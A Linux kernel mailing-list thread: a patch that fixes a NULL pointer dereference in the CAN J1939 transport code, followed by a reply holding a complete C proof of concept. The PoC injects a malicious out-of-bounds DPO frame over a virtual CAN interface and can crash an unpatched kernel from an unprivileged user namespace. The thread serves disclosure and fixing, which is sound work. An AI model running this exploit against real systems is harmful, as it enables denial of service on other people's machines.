[PATCH] can: j1939: fix NULL pointer dereference in j1939_session_completed()

[PATCH] can: j1939: fix NULL pointer dereference in j1939_session_completed()

[Weiming Shi]

j1939_xtp_rx_dpo_one() accepts an attacker-controlled DPO value
without bounds checking. When DPO >= session->pkt.total, the
subsequent j1939_session_skb_get() returns NULL, and
j1939_session_completed() passes it to j1939_sk_recv() which
dereferences oskb->sk, causing a kernel panic.

 Oops: general protection fault, 0000 [#1] SMP KASAN NOPTI
 KASAN: null-ptr-deref in range [0x0000000000000018-0x000000000000001f]
 RIP: 0010:j1939_sk_recv (socket.c:318 socket.c:363)
 Call Trace:
  <IRQ>
  j1939_xtp_rx_eoma (transport.c:1235 transport.c:1412)
  j1939_tp_recv (transport.c:2141 transport.c:2189)
  j1939_can_recv (main.c:108)

Validate DPO against session->pkt.total in j1939_xtp_rx_dpo_one()
and abort the session if out of bounds. Also add a NULL guard in
j1939_session_completed() as defense in depth.

Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Reported-by: Xiang Mei <xmei5@asu.edu>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
 net/can/j1939/transport.c | 13 ++++++++++---
 1 file changed, 10 insertions(+), 3 deletions(-)

diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index df93d57907da..9b0d67c8a9a0 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -1231,9 +1231,11 @@ static void j1939_session_completed(struct j1939_session *session)
 
 	if (!session->transmission) {
 		se_skb = j1939_session_skb_get(session);
-		/* distribute among j1939 receivers */
-		j1939_sk_recv(session->priv, se_skb);
-		consume_skb(se_skb);
+		if (se_skb) {
+			/* distribute among j1939 receivers */
+			j1939_sk_recv(session->priv, se_skb);
+			consume_skb(se_skb);
+		}
 	}
 
 	j1939_session_deactivate_activate_next(session);
@@ -1818,6 +1820,11 @@ static void j1939_xtp_rx_dpo_one(struct j1939_session *session,
 
 	/* transmitted without problems */
 	session->pkt.dpo = j1939_etp_ctl_to_packet(skb->data);
+	if (session->pkt.dpo >= session->pkt.total) {
+		j1939_session_timers_cancel(session);
+		j1939_session_cancel(session, J1939_XTP_ABORT_FAULT);
+		return;
+	}
 	session->last_cmd = dat[0];
 	j1939_tp_set_rxtimeout(session, 750);
 
-- 
2.43.0

Re: [PATCH] can: j1939: fix NULL pointer dereference in j1939_session_completed()

[Weiming Shi]

Required key configs for the poc:

- CONFIG_CAN=y 
- CONFIG_CAN_J1939=y/m 
- CONFIG_CAN_VCAN=y/m 
- CONFIG_USER_NS=y 

When CONFIG_USER_NS=y, an unprivileged user can trigger this vulnerability 
by calling unshare(CLONE_NEWUSER | CLONE_NEWNET) to enter a new user and network
 namespace, which grants CAP_NET_RAW without requiring root privileges.


```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/can.h>
#include <linux/can/raw.h>
#include <linux/can/j1939.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_link.h>

#define J1939_ETP_PGN_CTL  0xc800u
#define J1939_ETP_CMD_RTS  0x14
#define J1939_ETP_CMD_DPO  0x16
#define J1939_ETP_CMD_EOMA 0x17

#define LOCAL_ADDR  0x80
#define REMOTE_ADDR 0x42
#define INNER_PGN   0x0f000u
#define MSG_TOTAL   1792

static void rta_add(struct nlmsghdr *nh, int max, int type,
		    const void *data, int len)
{
	int rta_len = RTA_LENGTH(len);
	struct rtattr *rta = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len));
	rta->rta_type = type;
	rta->rta_len = rta_len;
	if (data && len) memcpy(RTA_DATA(rta), data, len);
	nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta_len);
}

static struct rtattr *rta_nest(struct nlmsghdr *nh, int type)
{
	struct rtattr *rta = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len));
	rta->rta_type = type | NLA_F_NESTED;
	rta->rta_len = RTA_LENGTH(0);
	nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
	return rta;
}

static void rta_nest_end(struct nlmsghdr *nh, struct rtattr *rta)
{
	rta->rta_len = (char *)nh + nh->nlmsg_len - (char *)rta;
}

static int create_vcan(const char *name)
{
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0) return -1;

	char buf[1024];
	memset(buf, 0, sizeof(buf));
	struct nlmsghdr *nh = (struct nlmsghdr *)buf;
	struct ifinfomsg *ifm;

	nh->nlmsg_len   = NLMSG_LENGTH(sizeof(*ifm));
	nh->nlmsg_type  = RTM_NEWLINK;
	nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
	nh->nlmsg_seq   = 1;
	ifm = NLMSG_DATA(nh);
	ifm->ifi_family = AF_UNSPEC;

	rta_add(nh, sizeof(buf), IFLA_IFNAME, name, strlen(name) + 1);
	struct rtattr *linfo = rta_nest(nh, IFLA_LINKINFO);
	rta_add(nh, sizeof(buf), IFLA_INFO_KIND, "vcan", 5);
	rta_nest_end(nh, linfo);

	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nh, .iov_len = nh->nlmsg_len };
	struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa),
			      .msg_iov = &iov, .msg_iovlen = 1 };
	sendmsg(fd, &msg, 0);

	char rbuf[4096];
	recv(fd, rbuf, sizeof(rbuf), 0);
	close(fd);
	return 0;
}

static int set_link_up(const char *name)
{
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0) return -1;

	int idx = if_nametoindex(name);
	if (!idx) { close(fd); return -1; }

	char buf[256];
	memset(buf, 0, sizeof(buf));
	struct nlmsghdr *nh = (struct nlmsghdr *)buf;
	struct ifinfomsg *ifm;

	nh->nlmsg_len   = NLMSG_LENGTH(sizeof(*ifm));
	nh->nlmsg_type  = RTM_NEWLINK;
	nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
	nh->nlmsg_seq   = 2;
	ifm = NLMSG_DATA(nh);
	ifm->ifi_family = AF_UNSPEC;
	ifm->ifi_index  = idx;
	ifm->ifi_change = IFF_UP;
	ifm->ifi_flags  = IFF_UP;

	struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
	struct iovec iov = { .iov_base = nh, .iov_len = nh->nlmsg_len };
	struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa),
			      .msg_iov = &iov, .msg_iovlen = 1 };
	sendmsg(fd, &msg, 0);

	char rbuf[4096];
	recv(fd, rbuf, sizeof(rbuf), 0);
	close(fd);
	return 0;
}

static uint32_t make_canid(uint32_t pgn, uint8_t da, uint8_t sa)
{
	uint32_t pri = 6;
	return CAN_EFF_FLAG | (pri << 26) | ((pgn & 0x3ff00) << 8) | ((uint32_t)da << 8) | sa;
}

static int send_etp_ctl(int fd, uint8_t cmd, uint32_t inner_pgn,
			uint8_t b1, uint8_t b2, uint8_t b3, uint8_t b4,
			uint8_t da, uint8_t sa)
{
	struct can_frame f = {0};
	f.can_id = make_canid(J1939_ETP_PGN_CTL, da, sa);
	f.len = 8;
	f.data[0] = cmd;
	f.data[1] = b1;
	f.data[2] = b2;
	f.data[3] = b3;
	f.data[4] = b4;
	f.data[5] = (inner_pgn >> 0) & 0xff;
	f.data[6] = (inner_pgn >> 8) & 0xff;
	f.data[7] = (inner_pgn >> 16) & 0xff;
	return write(fd, &f, sizeof(f));
}

int main(void)
{
	printf("[*] Sequential PoC - no race condition needed\n");

	if (create_vcan("vcan0") < 0) {
		fprintf(stderr, "[-] create_vcan failed\n");
		return 1;
	}
	if (set_link_up("vcan0") < 0) {
		fprintf(stderr, "[-] set_link_up failed\n");
		return 1;
	}

	int ifindex = if_nametoindex("vcan0");
	if (!ifindex) { fprintf(stderr, "[-] no vcan0\n"); return 1; }
	printf("[+] vcan0 ifindex=%d\n", ifindex);

	/* Bind J1939 socket at LOCAL_ADDR (0x80) - creates the "receiver" */
	int jsk = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
	if (jsk < 0) { perror("socket J1939"); return 1; }

	struct sockaddr_can jaddr = {0};
	jaddr.can_family = AF_CAN;
	jaddr.can_ifindex = ifindex;
	jaddr.can_addr.j1939.name = J1939_NO_NAME;
	jaddr.can_addr.j1939.addr = LOCAL_ADDR;
	jaddr.can_addr.j1939.pgn  = J1939_NO_PGN;
	if (bind(jsk, (struct sockaddr *)&jaddr, sizeof(jaddr)) < 0) {
		perror("bind LOCAL"); return 1;
	}
	printf("[+] J1939 bound at LOCAL=0x%x\n", LOCAL_ADDR);

	/* Bind second J1939 socket at REMOTE_ADDR (0x42) - makes it "local" too */
	int jsk2 = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
	if (jsk2 < 0) { perror("socket J1939 remote"); return 1; }

	struct sockaddr_can jaddr2 = {0};
	jaddr2.can_family = AF_CAN;
	jaddr2.can_ifindex = ifindex;
	jaddr2.can_addr.j1939.name = J1939_NO_NAME;
	jaddr2.can_addr.j1939.addr = REMOTE_ADDR;
	jaddr2.can_addr.j1939.pgn  = J1939_NO_PGN;
	if (bind(jsk2, (struct sockaddr *)&jaddr2, sizeof(jaddr2)) < 0) {
		perror("bind REMOTE"); return 1;
	}
	printf("[+] J1939 bound at REMOTE=0x%x\n", REMOTE_ADDR);

	/* Raw CAN socket for injecting frames */
	int rsk = socket(PF_CAN, SOCK_RAW, CAN_RAW);
	if (rsk < 0) { perror("socket RAW"); return 1; }

	int loopback = 1;
	setsockopt(rsk, SOL_CAN_RAW, CAN_RAW_LOOPBACK, &loopback, sizeof(loopback));

	struct sockaddr_can raddr = {0};
	raddr.can_family = AF_CAN;
	raddr.can_ifindex = ifindex;
	if (bind(rsk, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
		perror("bind RAW"); return 1;
	}
	printf("[+] Raw CAN socket ready\n");

	printf("\n[*] Step 1: Send RTS (REMOTE->LOCAL, size=%d)\n", MSG_TOTAL);
	uint32_t size = MSG_TOTAL;
	send_etp_ctl(rsk, J1939_ETP_CMD_RTS, INNER_PGN,
		     size & 0xff, (size >> 8) & 0xff,
		     (size >> 16) & 0xff, (size >> 24) & 0xff,
		     LOCAL_ADDR, REMOTE_ADDR);

	/* Wait for session to be created and RTS processed */
	usleep(50000);

	printf("[*] Step 2: Send malicious DPO (dpo=0x7FFFFF)\n");
	/* DPO frame: bytes 2-4 = 24-bit packet offset (little-endian) */
	/* j1939_etp_ctl_to_packet reads dat[2]|(dat[3]<<8)|(dat[4]<<16) */
	send_etp_ctl(rsk, J1939_ETP_CMD_DPO, INNER_PGN,
		     0x00,  /* number of packets to skip (ignored for our purpose) */
		     0xff, 0xff, 0x7f,  /* DPO bytes: 0xFF | (0xFF<<8) | (0x7F<<16) = 0x7FFFFF */
		     LOCAL_ADDR, REMOTE_ADDR);

	/* Wait for DPO to be fully processed */
	usleep(50000);

	printf("[*] Step 3: Send EOMA (LOCAL->REMOTE, triggers completion)\n");
	uint32_t eoma_size = MSG_TOTAL;
	send_etp_ctl(rsk, J1939_ETP_CMD_EOMA, INNER_PGN,
		     eoma_size & 0xff, (eoma_size >> 8) & 0xff,
		     (eoma_size >> 16) & 0xff, (eoma_size >> 24) & 0xff,
		     REMOTE_ADDR, LOCAL_ADDR);

	/* If we reach here, the kernel didn't crash */
	usleep(200000);
	printf("[-] No crash - kernel survived\n");

	close(rsk);
	close(jsk);
	close(jsk2);
	return 0;
}
```